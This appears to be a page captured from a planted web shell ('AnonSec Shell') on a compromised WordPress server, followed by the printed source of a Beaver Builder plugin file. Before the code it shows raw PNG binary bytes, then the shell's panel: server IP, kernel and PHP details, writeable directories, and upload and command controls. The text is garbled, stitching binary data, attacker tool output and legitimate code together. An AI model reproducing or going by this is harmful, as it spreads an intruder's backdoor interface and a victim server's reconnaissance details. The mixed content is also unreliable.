‰PNG  IHDR 3 ( S°Âr 7iCCPsRGB IEC61966-2.1 xœ–wTSهϽ7½P’Š”ÐkhRH ½H‘.*1 JÀ "6DTpDQ‘¦2(à€£C‘±"Š…Q±ëDÔqp–Id­ß¼yïÍ›ß÷~kŸ½ÏÝgï}Öº üƒÂLX € ¡Xáçň‹g` ð l àp³³BøF™|ØŒl™ø½º ùû*Ó?ŒÁ ÿŸ”¹Y"1 P˜ŒçòøÙ\É8=Wœ%·Oɘ¶4MÎ0JÎ"Y‚2V“sò,[|ö™e9ó2„<ËsÎâeðäÜ'ã9¾Œ‘`çø¹2¾&cƒtI†@Æoä±|N6 (’Ü.æsSdl-c’(2‚-ãy àHÉ_ðÒ/XÌÏËÅÎÌZ.$§ˆ&\S†“‹áÏÏMç‹ÅÌ07#â1Ø™Yár fÏüYym²";Ø8980m-m¾(Ô]ü›’÷v–^„îDøÃöW~™ °¦eµÙú‡mi ]ëP»ý‡Í`/ в¾u}qº|^RÄâ,g+«ÜÜ\KŸk)/èïúŸC_|ÏR¾Ýïåaxó“8’t1C^7nfz¦DÄÈÎâpù 柇øþuü$¾ˆ/”ED˦L L–µ[Ȉ™B†@øŸšøÃþ¤Ù¹–‰ÚøЖX¥!@~ (* {d+Ðï} ÆGù͋љ˜ûÏ‚þ}W¸LþÈ$ŽcGD2¸QÎìšüZ4 E@ê@èÀ¶À¸ àA(ˆq`1à‚D €µ ”‚­`'¨u 4ƒ6ptcà48.Ë`ÜR0ž€)ð Ì@„…ÈR‡t CȲ…XäCP”%CBH@ë R¨ª†ê¡fè[è(tº C· Qhúz#0 ¦ÁZ°l³`O8Ž„ÁÉð28.‚·À•p|î„O×àX ?§€:¢‹0ÂFB‘x$ !«¤i@ڐ¤¹ŠH‘§È[EE1PL” Ê…⢖¡V¡6£ªQP¨>ÔUÔ(j õMFk¢ÍÑÎè t,:‹.FW ›Ðè³èô8úƒ¡cŒ1ŽL&³³³ÓŽ9…ÆŒa¦±X¬:ÖëŠ År°bl1¶ {{{;Ž}ƒ#âtp¶8_\¡8áú"ãEy‹.,ÖXœ¾øøÅ%œ%Gщ1‰-‰ï9¡œÎôÒ€¥µK§¸lî.îžoo’ïÊ/çO$¹&•'=JvMÞž<™âžR‘òTÀT ž§ú§Ö¥¾N MÛŸö)=&½=—‘˜qTH¦ û2µ3ó2‡³Ì³Š³¤Ëœ—í\6% 5eCÙ‹²»Å4ÙÏÔ€ÄD²^2šã–S“ó&7:÷Hžrž0o`¹ÙòMË'ò}ó¿^ZÁ]Ñ[ [°¶`t¥çÊúUЪ¥«zWë¯.Z=¾Æóµ„µik(´.,/|¹.f]O‘VÑš¢±õ~ë[‹ŠEÅ76¸l¨ÛˆÚ(Ø8¸iMKx%K­K+Jßoæn¾ø•ÍW•_}Ú’´e°Ì¡lÏVÌVáÖëÛÜ·(W.Ï/Û²½scGÉŽ—;—ì¼PaWQ·‹°K²KZ\Ù]ePµµê}uJõHWM{­fí¦Ú×»y»¯ìñØÓV§UWZ÷n¯`ïÍz¿úΣ†Š}˜}9û6F7öÍúº¹I£©´éÃ~á~遈}ÍŽÍÍ-š-e­p«¤uò`ÂÁËßxÓÝÆl«o§·—‡$‡›øíõÃA‡{°Ž´}gø]mµ£¤ê\Þ9Õ•Ò%íŽë>x´·Ç¥§ã{Ëï÷Ó=Vs\åx٠‰¢ŸN柜>•uêééäÓc½Kz=s­/¼oðlÐÙóç|ϝé÷ì?yÞõü± ÎŽ^d]ìºäp©sÀ~ ãû:;‡‡º/;]îž7|âŠû•ÓW½¯ž»píÒÈü‘áëQ×oÞH¸!½É»ùèVú­ç·snÏÜYs}·äžÒ½Šûš÷~4ý±]ê =>ê=:ð`Áƒ;cܱ'?eÿô~¼è!ùaÅ„ÎDó#ÛGÇ&}'/?^øxüIÖ“™§Å?+ÿ\ûÌäÙw¿xü20;5þ\ôüÓ¯›_¨¿ØÿÒîeïtØôýW¯f^—¼Qsà-ëmÿ»˜w3¹ï±ï+?˜~èùôñî§ŒOŸ~÷„óûpf* pHYs  Ê&ó? ÉIDATxœí™mh[UÇo’Û·´iWi`×b;Ym­`p Œ¬­n¢8Dh7ýà‡²‰ƒ9Q?t²f-(¢›:?±(Žiˆ:W¦‚m†…Vi‰ö…®±)KÚ4ñwºÜr“Ü›·¶YÊú‡'çí9ç>ÿsžsÎsoäp8, ŒŽŽÔÖÖv †ç)>€äK·>äòòòr¯,Ë¿¥ÒA?@`g]]‹lÓFZ—&J&“é‰P(ôªÑh<“¬ƒì÷ûwüL~ûÆÛ—LxK„<ú"‘¢ ‘³RîY„ހ̗ ëé7{<‹6­÷ø|¾»HÿÑSd ³gÏÚÀþIh«œ-C²-2¹ŠÛ’ÌUä;ää²-î·ˆiDžBŒ:z7'2ŽØ"’28¢“ˆ`þ˜˜ø¡¦¦ÆŸ ™KCCCO[­Ö%Qà’íånú…ìŽXE>Ê]ðR&9@ù+ BóÁ`Ж——wUÕ÷C’#©’áÞy$Tª®®Å®G’’ᡯ+D Ç™•>y'Fõ1ÔyÚV+8J¿ÁÈÉ>£û‰šÈ »ùùN‹ÅÒ!º¥JH…Lð™¤d`<΃c«4TÇungFÝõØŠÒÒÒëÁeY2›t°?)™âââ}$Õu¬Ê^ Õ½^ï¶²²²9¥ÂétšÚÚÚöhè>ŠØÕxÀnV2S"–¤d0ü¾ÿ«óýððp^}}ýêžÑŒÙufÉG =* ò6õ÷jèîaúfffNVVVú ò0D>[‘¤r T²‰/ BÒÍwœD!Ek~~þ†zYQ‹¤’ ¯¨¨8*\ "åé­‡tî™Ò4tSu±×…ˆÀmyin l‘ÉUl‘ÉU2^)ó"«XZZšçBÖmdÞGNdÍ¢Ìq¥¤¤dFd¸Ä \âq©ÜÓÓs²««ËLþ%Đm SÄ_„Iϱ¯æææÄE]Èv»]Äì/³„Ÿ‹žVéf<•±PDŒZÉ"‚vî\ôx<ŽªªªJ¡ÒCZV ÉA’Džþ ¹_ç!"Ì¿ ùÞ©©©1‡ÃˆLÈ*º»»---“šžž···/‹¼xù‚HT;nv,! ÛÍfs£ÎsÜøê1Vð åÊC §!Šï¾6ÌÎΖ–——Ÿ&û¤V{™¢¢¢ýR¼‹‰§.—Ëu^™1Hµ1CÙú*6KDv“ë)Å‘aYÕ¯¸bv?fµNp’LCD­w7IÇúÙ»f£ÈD޼}‘â¯äãR¿C$®'{æk\M¼|åÊÅ;eÇŸø&€K= ‰ ‰¾¸sy]£ý+Ô»áf¦ lî"³¸¸8922²«¡¡aQý•E¬äiô&#„nÕß"bÂûÝn÷›Qd8¿'!’ÖHúhpp°¿©©©‘üe•(G´ú„iPJ~â1œá>ÒWs‹pø5Ü݉—ŒY­Öõñ÷Èw5÷zŒ¥¿ßïÀà·ÈŒi "J!W6oBÆüMrˆ©•ÕWŠü÷ʪ‰h圢·)È(0™L? Xm6Û‹9EÕ^m(Ȧ"#ÐÜÜ,öÚYŸÏ÷9{ÜÞÙÙ¹‹òŸ¢íº›|¬– IEND®B`‚ AnonSec Shell
AnonSec Shell
Server IP : 20.73.19.71  /  Your IP : 10.112.20.21
Web Server : nginx/1.15.12
System : Linux a10deea3d6b7 6.8.0-1044-azure #50~22.04.1-Ubuntu SMP Wed Dec 3 15:13:22 UTC 2025 x86_64
User :  ( 1000)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/bb-plugin/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /var/www/html/wp-content/plugins/bb-plugin/includes/compatibility.php
<?php
/**
 * Misc functions that are not in classes.
 *
 * For 3rd party compatibility actions/filters see classes/class-fl-builder-compatibility.php
 */

/**
 * Siteground cache captures shutdown and breaks our dynamic js loading.
 * Siteground changed their plugin, this code has to run super early.
 * @since 2.0.4.2
 */
if ( isset( $_GET['fl_builder_load_settings_config'] ) ) {
	add_filter( 'option_siteground_optimizer_fix_insecure_content', '__return_false' );
}

/**
 * Try to unserialize data normally.
 * Uses a preg_callback to fix broken data caused by serialized data that has broken offsets.
 *
 * @since 1.10.6
 * @param string $data unserialized string
 * @return array
 */
function fl_maybe_fix_unserialize( $data ) {

	$unserialized = maybe_unserialize( $data );

	if ( ! $unserialized ) {
		$unserialized = unserialize( preg_replace_callback( '!s:(\d+):"(.*?)";!', 'fl_maybe_fix_unserialize_callback', $data ) );
	}
	return $unserialized;
}

/**
 * Callback function for fl_maybe_fix_unserialize()
 *
 * @since 1.10.6
 */
function fl_maybe_fix_unserialize_callback( $matches ) {
	return ( strlen( $matches[2] ) == $matches[1] ) ? $matches[0] : 's:' . strlen( $matches[2] ) . ':"' . $matches[2] . '";';
}

/**
 * Set sane settings for SSL
 * @since 2.2.1
 */
function fl_set_curl_safe_opts( $handle ) {
	curl_setopt( $handle, CURLOPT_SSL_VERIFYPEER, 1 );
	curl_setopt( $handle, CURLOPT_SSL_VERIFYHOST, 2 );
	curl_setopt( $handle, CURLOPT_CAINFO, ABSPATH . WPINC . '/certificates/ca-bundle.crt' );
	return $handle;
}

/**
 * Fix pagination on category archive layout.
 * @since 2.2.4
 */
function fl_theme_builder_archive_post_grid( $layouts ) {
	global $wp_the_query;

	if ( ! $layouts || $layouts['query']->post_count <= 0 ) {
		return;
	}

	$post_grid     = null;
	$exclusions    = array();
	$current_loop  = 0;
	$current_paged = 1;
	$nodes         = array();

	if ( $wp_the_query->get( 'flpaged' ) ) {
		global $wp;
		$current_url = home_url( $wp->request );
		$flpaged     = preg_match( '/paged-([0-9]{1,})\/?([0-9]{1,})/', $current_url, $matches );
		if ( $flpaged ) {
			$current_loop  = (int) $matches[1] > 1 ? (int) $matches[1] - 1 : 1;
			$current_paged = (int) $matches[2];
		}
	} elseif ( $wp_the_query->get( 'paged' ) ) {
		$current_paged = $wp_the_query->get( 'paged' );
	}

	foreach ( $layouts['query']->posts as $i => $post_id ) {
		$exclusions = FLThemeBuilderRulesLocation::get_saved_exclusions( $post_id );
		$exclude    = false;

		if ( $layouts['object'] && in_array( $layouts['object'], $exclusions ) ) {
			$exclude = true;
		} elseif ( in_array( $layouts['location'], $exclusions ) ) {
			$exclude = true;
		} elseif ( in_array( 'general:archive', $exclusions ) ) {
			$exclude = true;
		}

		if ( $exclude ) {
			continue;
		}

		$nodes      = FLBuilderModel::get_layout_data( 'published', $post_id );
		$post_grids = fl_ordered_post_grid( $nodes );

		if ( empty( $nodes ) || empty( $post_grids ) || ! isset( $post_grids[ $current_loop ] ) ) {
			continue;
		}

		FLBuilderLoop::$loop_counter = $current_loop;
		$get_node                    = $nodes[ $post_grids[ $current_loop ] ];
		$query_post_grid             = FLBuilderLoop::query( $get_node->settings );
		FLBuilderLoop::$loop_counter = 0;

		$post_grid['post_count']  = $query_post_grid->post_count;
		$post_grid['page_exists'] = $query_post_grid->max_num_pages >= $current_paged;
		break;
	}

	return $post_grid;
}

/**
 * Helper function that queries the themer layouts in archive pages.
 */
function fl_theme_builder_archive_layouts( $query, $returns = '' ) {
	if ( ! $query ) {
		return;
	}

	if ( ! class_exists( 'FLThemeBuilder' ) ) {
		return;
	}

	if ( is_admin() || ! $query->is_main_query() ) {
		return;
	}

	if ( ! $query->is_archive && ! $query->is_home && ! $query->is_search ) {
		return;
	}

	$queried_object = get_queried_object();
	$object         = null;
	$location       = null;
	$layouts_data   = array();

	if ( ! $queried_object && ! is_home() && ! is_search() && ! is_date() ) {
		return;
	}

	if ( is_home() ) {
		$location = 'archive:post';
	} elseif ( is_author() ) {
		$location = 'general:author';
	} elseif ( is_date() ) {
		$location = 'general:date';
	} elseif ( is_search() ) {
		$location = 'general:search';
	} elseif ( is_category() ) {
		$location = 'taxonomy:category';

		if ( is_object( $queried_object ) ) {
			$object = $location . ':' . $queried_object->term_id;
		}
	} elseif ( is_tag() ) {
		$location = 'taxonomy:post_tag';

		if ( is_object( $queried_object ) ) {
			$object = $location . ':' . $queried_object->term_id;
		}
	} elseif ( is_tax() ) {
		$location = 'taxonomy:' . get_query_var( 'taxonomy' );

		if ( is_object( $queried_object ) ) {
			$location = 'taxonomy:' . $queried_object->taxonomy;
			$object   = $location . ':' . $queried_object->term_id;
		}
	} elseif ( is_post_type_archive() && is_object( $queried_object ) ) {
		$location = 'archive:' . $queried_object->query_var;
	} else {
		return;
	}

	$args = array(
		'post_type'   => 'fl-theme-layout',
		'post_status' => 'publish',
		'fields'      => 'ids',
		'meta_query'  => array(
			'relation' => 'OR',
			array(
				'key'     => '_fl_theme_builder_locations',
				'value'   => '"general:site"',
				'compare' => 'LIKE',
			),
			array(
				'key'     => '_fl_theme_builder_locations',
				'value'   => '"' . $location . '"',
				'compare' => 'LIKE',
			),
		),
	);

	if ( is_archive() || is_home() || is_search() ) {
		$args['meta_query'][] = array(
			'key'     => '_fl_theme_builder_locations',
			'value'   => '"general:archive"',
			'compare' => 'LIKE',
		);
	}

	if ( $object ) {
		$args['meta_query'][] = array(
			'key'     => '_fl_theme_builder_locations',
			'value'   => '"' . $object . '"',
			'compare' => 'LIKE',
		);
	}

	$layouts_data = array(
		'location' => $location,
		'object'   => $object,
		'query'    => new WP_Query( $args ),
	);

	if ( ! empty( $returns ) && isset( $layouts_data[ $returns ] ) ) {
		return $layouts_data[ $returns ];
	} else {
		return $layouts_data;
	}
}

/**
 * Get the ordered post-grid modules from the layout data.
 */
function fl_ordered_post_grid( $data ) {
	$parent_nodes  = array();
	$ordered_nodes = array();

	foreach ( $data as $node_id => $node ) {
		if ( 'module' != $node->type ) {
			continue;
		}

		if ( ! isset( $node->settings->data_source ) || ! isset( $node->settings->pagination ) ) {
			continue;
		}

		if ( ! in_array( $node->settings->data_source, array( 'main_query', 'custom_query' ) ) ) {
			continue;
		}

		$root_node = false;
		$grid_node = $node;

		// Traverse parent nodes.
		while ( ! $root_node ) {
			if ( ! empty( $grid_node->parent ) && isset( $data[ $grid_node->parent ] ) ) {
				$parent = $data[ $grid_node->parent ];

				if ( ! isset( $parent_nodes[ $parent->type ] ) || ! isset( $parent_nodes[ $parent->type ][ $parent->node ] ) ) {
					$parent_nodes[ $parent->type ][ $parent->node ] = array(
						'position' => $parent->position,
						'node'     => array(
							$node_id => array(
								'position' => $node->position,
							),
						),
					);
				} elseif ( isset( $parent_nodes[ $parent->type ][ $parent->node ] )
					&& ! isset( $parent_nodes[ $parent->type ][ $parent->node ]['node'][ $node_id ] ) ) {
						$parent_nodes[ $parent->type ][ $parent->node ]['node'][ $node_id ] = array(
							'position' => $node->position,
						);
				}

				// New node to crawl the tree.
				$grid_node = $parent;

			} elseif ( empty( $grid_node->parent ) && 'row' == $grid_node->type ) {
				$root_node = true;
			} else {
				break;
			}
		}
	}

	// Order nodes by position
	foreach ( $parent_nodes as $type => $parent_node ) {
		uasort($parent_node, function ( $a, $b ) {
			return $a['position'] - $b['position'];
		});

		foreach ( $parent_node as $parent_id => $parent ) {
			if ( ! isset( $parent['node'] ) ) {
				continue;
			}

			// Order post grids
			uasort($parent['node'], function ( $a, $b ) {
				return $a['position'] - $b['position'];
			});
			$parent_node[ $parent_id ] = $parent;

			// Prioritize row ordering
			if ( 'row' == $type ) {
				foreach ( $parent['node'] as $node_id => $node ) {
					if ( ! in_array( $node_id, $ordered_nodes ) ) {
						$ordered_nodes[] = $node_id;
					}
				}
			}
		}
	}

	return $ordered_nodes;
}

/**
 * Fix canonical for singular layout with post-grid module pagination.
 * @since 2.4
 */
function fl_theme_builder_has_post_grid() {
	if ( ! class_exists( 'FLThemeBuilder' ) ) {
		return false;
	}

	if ( ! FLThemeBuilder::has_layout() ) {
		return false;
	}

	$layout_ids = array();

	// Checks themer layout
	$header = FLThemeBuilderLayoutData::get_current_page_layout_ids( 'header' );
	if ( ! empty( $header ) ) {
		$layout_ids[] = $header[0];
	}
	$single = FLThemeBuilderLayoutData::get_current_page_layout_ids( 'singular' );
	if ( ! empty( $single ) ) {
		$layout_ids[] = $single[0];
	}
	$footer = FLThemeBuilderLayoutData::get_current_page_layout_ids( 'footer' );
	if ( ! empty( $footer ) ) {
		$layout_ids[] = $footer[0];
	}
	$parts = FLThemeBuilderLayoutData::get_current_page_layout_ids( 'part' );
	if ( ! empty( $parts ) ) {
		$layout_ids = array_merge( $layout_ids, $parts );
	}

	if ( empty( $layout_ids ) ) {
		return false;
	}

	foreach ( $layout_ids as $layout_id ) {
		$data = FLBuilderModel::get_layout_data( 'published', $layout_id );

		foreach ( $data as $node_id => $node ) {
			if ( 'module' != $node->type ) {
				continue;
			}

			if ( isset( $node->settings->type ) && 'post-grid' == $node->settings->type ) {
				return true;
			}
		}
	}

	return false;
}

/**
 * Global Styles polyfill for LITE
 */
if ( ! class_exists( 'FLBuilderGlobalStyles' ) && defined( 'FL_BUILDER_LITE' ) && true === FL_BUILDER_LITE ) {
	class FLBuilderGlobalStyles {
		public static function get_settings() {
			return (object) [
				'colors'            => [],
				'button_color'      => '',
				'button_background' => '',
			];
		}
		public static function get_theme_json_js_config() {
			return [ 'color' => [ 'palette' => [] ] ];
		}
		public static function generate_global_colors_css() {
			return '';
		}
	}
}

if ( ! function_exists( 'str_starts_with' ) ) {
	/**
	 * Polyfill for `str_starts_with()` function added in PHP 8.0.
	 *
	 * Performs a case-sensitive check indicating if
	 * the haystack begins with needle.
	 *
	 * @since 5.9.0
	 *
	 * @param string $haystack The string to search in.
	 * @param string $needle   The substring to search for in the `$haystack`.
	 * @return bool True if `$haystack` starts with `$needle`, otherwise false.
	 */
	function str_starts_with( $haystack, $needle ) {
		if ( '' === $needle ) {
			return true;
		}

		return 0 === strpos( $haystack, $needle );
	}
}

Anon7 - 2022
AnonSec Team